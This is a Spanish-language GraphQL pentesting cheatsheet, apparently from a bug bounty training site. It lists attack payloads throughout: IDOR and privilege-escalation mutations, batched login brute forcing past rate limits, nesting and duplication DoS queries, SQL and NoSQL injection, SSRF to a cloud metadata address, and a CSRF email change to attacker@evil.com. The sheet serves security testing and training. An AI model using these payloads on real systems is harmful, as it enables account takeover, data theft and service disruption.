Cheatsheet GraphQL
Seguridad en APIs GraphQL
Referencia rápida
- →Si la introspeccion esta deshabilitada, usar clairvoyance con wordlists para descubrir el schema
- →Batch queries permiten bypass de rate limit enviando multiples operaciones en una request
- →Aliases permiten enumerar IDs de otros usuarios sin enviar multiples requests HTTP
- →Probar cambiar Content-Type a application/x-www-form-urlencoded para CSRF en GraphQL
- →Los campos que no se muestran en el frontend pueden existir en el schema - siempre hacer introspeccion
Introspeccion y descubrimiento
Query de introspeccion completa
{__schema{types{name,fields{name,args{name,type{name}}}}}}Introspeccion detallada
query IntrospectionQuery {
__schema {
queryType { name }
mutationType { name }
types { name kind fields { name type { name kind ofType { name } } } }
}
}Buscar tipo especifico
{__type(name:"User"){name,fields{name,type{name}}}}Listar directivas
{__schema{directives{name,description,locations}}}Introspeccion deshabilitada - probeSi __typename funciona pero __schema no, la introspeccion esta parcialmente bloqueada
query { __typename }IDOR y autorizacion
Acceder a datos de otro usuario
query { user(id: "victim-uuid") { email password role } }Aliases para enumerar IDsAliases permiten multiples queries en una sola request
query {
a: user(id: "1") { email }
b: user(id: "2") { email }
c: user(id: "3") { email }
}Mutation sin autorizacion
mutation { updateUser(id: "victim-id", input: { role: "admin" }) { id role } }Acceso a campos sensiblesEl schema puede exponer campos que no deberian ser accesibles
query { user(id: "my-id") { email passwordHash apiKey secretToken } }Batch attacks y DoS
Batch query para brute forceBypass de rate limit: multiples logins en una sola request HTTP
[
{"query": "mutation { login(email:\"admin@target.com\", password:\"pass1\") { token } }"},
{"query": "mutation { login(email:\"admin@target.com\", password:\"pass2\") { token } }"},
{"query": "mutation { login(email:\"admin@target.com\", password:\"pass3\") { token } }"}
]Deep nesting DoSQueries profundamente anidadas pueden consumir recursos del servidor
query { user { posts { comments { author { posts { comments { author { name } } } } } } } }Circular reference DoS
query { user { friends { friends { friends { friends { name } } } } } }Field duplication1000 campos duplicados para sobrecargar el resolver
query { user { name name name name name name name name name name } }Injection en GraphQL
SQLi en argumento
query { user(name: "admin' OR '1'='1") { id email } }NoSQLi en filtro
query { users(filter: {email: {$ne: ""}}) { id email } }SSRF via campo URL
mutation { importData(url: "http://169.254.169.254/latest/meta-data/") { result } }CSRF en GraphQLSi el endpoint acepta urlencoded ademas de JSON
Content-Type: application/x-www-form-urlencoded
Body: query=mutation{changeEmail(email:"attacker@evil.com")}Herramientas
GraphQL Voyager
Visualizador interactivo del schema GraphQL para entender la API
Cargar schema en https://graphql-kit.com/graphql-voyager/
InQL (Burp)
Extension de Burp para analisis automatizado de endpoints GraphQL
Burp Suite > Extensions > InQL > Point to /graphql
graphql-cop
Auditor de seguridad GraphQL que detecta misconfigurations comunes
python3 graphql-cop.py -t https://target.com/graphql
clairvoyance
Obtener schema GraphQL cuando la introspeccion esta deshabilitada
python3 -m clairvoyance -u https://target.com/graphql -w wordlist.txt
Contenido relacionado
¿Listo para practicar?
Pon en práctica estos payloads en labs reales basados en reportes de bug bounty.
Ver labs de prácticahunters entrenando
labs de reportes reales
completaciones
en bounties practicados
Deja de leer sobre bugs y empieza a cazarlos
Crea tu cuenta gratis y practica sobre labs basados en reportes reales que pagaron miles de euros. La Academy es gratis para siempre.
Sin tarjeta · Academy gratis · cancela cuando quieras